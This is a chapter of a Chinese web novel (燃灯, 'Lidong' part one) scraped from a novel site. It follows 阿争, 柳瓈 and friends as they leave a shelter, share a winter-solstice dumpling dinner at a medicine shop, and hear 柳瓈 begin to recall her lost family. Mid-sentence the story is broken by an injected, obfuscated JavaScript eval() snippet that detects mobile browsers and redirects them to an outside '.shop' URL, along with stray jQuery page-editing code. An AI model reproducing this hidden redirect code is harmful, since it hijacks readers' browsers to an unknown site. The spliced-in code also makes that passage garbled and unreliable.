文趣网 > 其他小说 > 燃灯 > 18. 立冬(一)
    天色渐渐暗下去,天黑的越来越早,在安济堂待了半日,他们一行人要回去了。

    虽然怀远知说不用送了,但福根还是拄着拐跟孩子们送到了大门口。孩子们想阿争,他们在安济堂生活安稳,却心中孤独,怀远知和两个新姐姐的到来,更让他们惊喜不已。

    短暂一见,又要分开,他们不会在阿争面前露出一点儿遗憾和孤独,只是在心中暗暗的期盼,下一次见面,来的更快一些。

    “小玉,去浊城的事儿,有变化及时来找我说,”阿争抱了抱小玉,“说书先生那边我会再去和他聊。”

    小玉回抱着她,头靠在阿争的肩膀上,她的臂膀宽厚而坚实,像一座可以依靠的山。

    在安济堂里,阿争总想着杨巴和她说的话,他的话像一滴滴杯子里的墨,虽然转瞬就在水里散开,融合,消失不见,可她知道,水,已不是清水了。

    怀疑的种子最不挑土壤,一旦落下,便会生根发芽。

    眼看着福根腿伤好了后,小玉要被送去浊城了,阿争有些后悔,她当时太震惊了,怎么就没多嘴问一句,杨巴又不是内部人士,是怎么知道的这样清楚的。这事关小玉安全,阿争一定要弄清楚。

    虽然她心里怪怪的,但这里毕竟是安济堂,是临秀最大的,也是条件最好的收容堂,除了这儿,她还能信任哪里呢?

    阿争又叮嘱了小玉几句,悄悄把她随身携带的小匕首塞给小玉,便离开了安济堂。

    每年立冬时,怀远知、徐福、百灵三人便会来到医馆,大家其乐融融吃一顿饭。怀远知和徐福要先回怀府一趟,拿些要带去医馆的准备好的吃食,柳瓈和百灵便先和阿争来到医馆。

    柳瓈一直想来看看沈莲翠,从医馆离开后,她很少见阿婆,都是阿争在怀府跑前跑后,如果没有阿婆和阿争,她早就没命了。

    沈莲翠见着柳瓈先是一顿检查,确定恢复的不错,才如释重负。这漂亮姑娘,长相明媚,气质温柔,沈莲翠越看越喜欢,自医馆搜查闹剧后,她时不时就想起柳瓈的伤,她打心底里心疼这个孩子,心疼她的伤,心疼她受的苦,心疼她的不愿提及的过往。

    百灵在静室里转悠,窗台上那盆半死不活的花吸引了她的注意,这棵花苗还是她栽下的,绿叶红花,长势喜人,阿争喜欢,从怀府连花带盆端走了,却养成这个鬼样子。

    她浇了些水,找了个小木棍微微松土,“阿争姑娘,我说你身板怎么这么壮实呢。”

    百灵不怀好意的笑道:“原来是抢了这花的口粮,让它喝西北风呢。”

    阿争领会百灵的意思,二人马上开始唇枪舌战,静室一下子热闹起来,沈莲翠无奈的看着二人,要是沈争也能像柳瓈这么稳当,她得省多少心。

    “别跟她俩玩,一个大嗓门子,一个大碎嘴子,”沈莲翠来拉柳瓈,“来跟我走,阿婆给你拿好吃的。”

    “什么呀阿婆,”百灵非常不服气,“阿瓈姑娘可乐意和我聊天了,说我有意思呢。”

    “好好好,”沈莲翠可不想让百灵再叨叨她,她转头催着阿争,“赶紧收拾屋子,我要做饭了。”

    阿争把墙边放药材的桌子收拾了,晒好的药材一样样分好,该包的包起来,该装罐的装罐。百灵拿着盆子去院里打水,跟着阿争一起拾倒,二人把地扫了,把桌子抬到中间,摆上凳子,挺长时间没用都落灰了,她准备大擦一遍。

    柳瓈端着个盘子从厨房出来,那是一盘柿子饼,她给阿争和百灵一人嘴里塞了一个,那柿饼外皮裹着白霜,有些哏啾啾的,咬开却又甜又润,好吃不涩嘴。

    “这小老太太,背着我藏好吃的。”阿争一边嚼,一边卖力的擦。

    柳瓈去里屋厨房,帮沈莲翠择菜洗菜,阿争和百灵在外头听着,里头俩人可谓交谈甚欢,把老太太逗得乐不可支。

    怀远知和徐福姗姗来迟,拎着好些东西,有鸡鸭鱼,还有一些卤肉,他们进屋时,阿争在厨房里剁馅。她一只手掐着腰,另一只手飞快起落,“梆梆梆,梆梆梆”,别说菜板,一旁的碗架柜都震颤。

    “俺家樵夫又劈柴呢。”

    沈莲翠赶紧进厨房,她可得看着点,别好好的菜板,又让她给剁裂了。怀远知捂着嘴偷笑,阿争听不见屋里他们在聊什么,她剁的火热,剁的陶醉,越剁声越响,终于,沈莲翠把阿争赶出来,她要搅馅了,这场激昂的“演奏”才被迫停止了。

    怀远知脱了外头披着的厚袍子,沈争在一边想顺手接过,突然反应过来手上有油,又怯怯的赶紧把手缩回来了,生怕白毛蹭成黑毛,虽然她知道怀远知不会在意。

    百灵接过来,叠好放在小塌上,怀远知回府一趟,方才在安济堂时还一身素衣,现在倒换了件华服,甚至连发冠也搭配着换了。

    阿争在心里嘀咕,明明是来寒舍小聚,怀远知的打扮倒是如宫廷赴宴一般,实在是让这小小医馆蓬荜生辉了。她想起柳瓈说的锦绣坊的衣服,这要是不小心勾了线,蹭了灰……想到这,阿争脑门都要冒汗了。

    真是花孔雀,孔雀花,花孔雀开屏到她家。但花孔雀好看,她爱看。

    阿争都想把桌子凳子再擦一遍,但怀远知倒是毫不在意,坐的随意。

    柳瓈在厨房帮阿婆,百灵拎着卤肉去切,徐福看看炉火,要去院子里拿点柴进来,阿争想让福叔休息,毕竟他年纪大了,却被福叔赶进来,屋里只剩阿争和怀远知二人。

    家里好久没这么热闹了,屋子本身就有些小,平时不挪动,中间再放张桌子,在边上坐着会有点挤,阿争想把后面的小案子搬一下,这样能宽敞一些。怀远知来搭把手,阿争果断拒绝,这本来不是什么大事儿,她一个人就抬起来了,最重要的是,她太担心那身衣服了。

    阿争三下两下挪过去,怀远知一个人坐在桌前,桌子上摆着柿饼,阿争推到怀远知面前,“怀公子来一个,事事如意。”

    怀远知拿起边上的一个,圆圆的柿饼上却有个牙印,被人咬掉了一小口。

    “哎!这是我的。”阿争赶紧叫住他,可已经晚了,怀远知看看阿争,把柿饼非常自然的放进嘴里。

    阿争感觉腾的一下,身上像火烧起来了,刚才她拿起一个柿饼刚咬了一口,就被阿婆叫过去剁肉馅,她随手放一边儿,就忘记了。

    她现在胳膊肘不知道该往哪放,腿也不知道该往哪放了,坐也不是,站也不是。她想去厨房,厨房不需要她,她想去帮福叔,福叔拎着摞好的柴火进来了。

    可怀远知就这么看着她,眼神清澈,还透露着些许无辜,他细细的品尝,甜味在口中化开。

    吃完,他说道:“事事如意,好事成双。”

    阿争呆呆的点点头,“嗯嗯嗯,好事成双。”

    徐福在一边偷笑,他虽然刚进来,不知道发生了什么,但看到气定神闲的怀公子和强装镇定的阿争,隐约可以猜到。想到这儿,他笑得更开心了。

    “沈阿婆。”

    “沈阿婆!”前厅有人在喊沈莲翠。

    “哎,来了。”阿婆放下筷子,抹了把手就出去了。

    阿争听着声音耳熟,赶紧跑到门口,她可算有个事干了,扒着门缝往外瞅,是那个圆圆脸伍长带着两个手下来了。

    她后来特意问了,这个新伍长姓陈,名虎子,家里排行老六,长官都叫他陈六。阿争和他打了两次交道,倒是觉得他人与其名不符,他不但不虎,反而是非常小心谨慎的人,和前伍长周亥截然相反,周亥才是那个大虎哨子。

    阿争估计是上次剿匪,那两个伤员伤的重,又来换药处理伤口的,她还想再瞅瞅,阿婆顺手把通门一带,她便什么都看不到了。

    徐福净了手,挽起袖子,到小厨房接过阿婆没完成的活儿,把馅搅完。百灵刚把肉切好装盘,还摆了造型,又被福叔叫了回去。

    “来来来,百灵,别闲着,来干活。”

    “把面板搬出去,一会儿一起包饺子。”

    百灵咧咧嘴,把面板搬到外头桌子上,柳瓈把面盆和馅盆一起端过来,徐福看看已经发好的面,准备开始揉面,他年轻时还在酒楼当过帮工,煎炒烹炸,这些厨房里的事,他其实十分在行。

    徐福在面板上撒上

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17945458|214046||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    面粉,把盆里发好的面往面板上一扣,面团散发着着麦芽的香味。他把面拉长,揪成一个个小球,拿起一个,在手心按成圆饼,擀面杖一转,一张薄厚均匀的饺子皮就擀成了。

    几个人围坐在桌前,柳瓈也想试着擀,她非常小心,却擀出来张方的饺子皮,大家大笑。捏针的手也不好操纵擀面杖,纵使是心灵手巧的柳瓈,看来也有不擅长的。

    其中属百灵笑得最大声,阿争知道自己不行,于是故意撺掇着百灵,“百灵鸟,你来。”

    百灵哪干过这个,她看福叔擀皮可简单的很,自己上手才知道这活儿可不容易,劲小了皮厚,手里一用劲儿,却擀的中间薄四边厚,拿起来就漏了。

    这次换阿争笑得最大声了。

    “你行你上。”百灵对阿争这种故设圈套,隔岸观火,落井下石的行为颇为不满。

    阿争倒是理直气壮,“我剁馅的,各干各的活。”

    徐福无奈,把这两张“杰作”重新捏成团,重新擀了,小屋里充满了快活的空气。

    别看徐福平时走路慢吞吞,手可灵巧,夹一筷子馅在面皮上,在边上捏几下,一个挺着圆肚的饺子就包好了,像元宝一样漂亮。

    几个人不服,不甘心就这么输给老头,争着抢着要包饺子。柳瓈开始馅儿没放够,包出个瘪饺子,但包了两个越发上手起来了。百灵不会捏褶,就先把皮儿两边按在一起,再打两个褶,倒也能看。

    阿争和百灵一样也不会捏褶,可她劲没用好,反而把饺子捏长了,她尝试补救,结果边上捏不严,中间肚皮又破了。她试图摆在盖帘角落蒙混过关,才包了两个,便被回来的沈莲翠以浪费食物为由轰了下来。

    怀远知也动手包了,阿争在一边盯着,生怕他袖子粘上面,这人就是学啥都快,明明十指不沾阳春,包出来的饺子却比她们的都好看。

    小屋里暖乎乎的,大锅烧着热水,热气蒸腾,盖帘上的饺子像一只只小肥羊,噗通噗通跳进去。

    “能喝点酒不?”阿争问沈莲翠。

    “喝,喝,喝,大馋鬼。”

    得到应允,阿争开心的去拿酒,菜一道道端上桌,她给大家把酒倒上,沈莲翠端着煮好的饺子,“来吧,暖暖和和的,一起过个冬。”

    阿争坐在怀远知旁边,一边吃着,时不时还要看看怀远知,生怕袖口粘油了,汤汁溅上衣襟了,而怀远知本人该吃吃该喝喝,阿争也不知道她在这替他紧张些什么。

    炉灶里柴火烧得噼里啪啦,几杯酒下肚,柳瓈的小脸也红扑扑的了,她靠着椅背,静静听大家说话,悄悄观察着每一个人的表情。

    这些人是怎么同坐在一张桌前的呢,他们可以说出自己的担心,说出自己的烦恼,甚至玩笑的说出自己的乌龙丑事,他们说笑,斗嘴,却不会生气。从踏进这扇门,柳瓈没有任何陌生与拘束,永远会有人接住她的话,会有温柔的眼神看向她。

    就像什么呢……

    像家人一样。

    家人,这个词出现在柳瓈的脑海中,把她吓了一跳。

    可她已经没有家人了。

    “阿瓈,你几岁离的家。”阿争像是想到什么,突然问道。

    “六岁?七岁?”柳瓈摇摇头,“不记得了。”

    柳瓈说过,儿时她家中遭歹人陷害,她又遇了拐子,拼死逃出后,便一直漂泊,有件事阿争一直想知道,借着酒劲,她就问了,“阿瓈,你是怎么来余陵的?”

    她是被卖到北方的,还是自己逃来北方的。

    柳瓈看着阿争,视线却穿过阿争,望见了远方的迷雾,那雾里,一个女人一个男人和女孩牵着手,可转眼,男人和女人被雾吞没,只剩那个无措的女孩和那团不断翻涌着靠近她的雾。

    她以为只要不看,不想,那团雾就会越来越稀薄了,可再次提及时,柳瓈才发现并非如此。她与那团雾隔着越来越漫长的时间,可那雾却从未消散过,压在她的心上,堵在她的胸口。

    柳瓈喝了一口酒,或许是屋子太暖了,这是她第一次,突然很想把那些阴湿的岁月晾出来烤烤。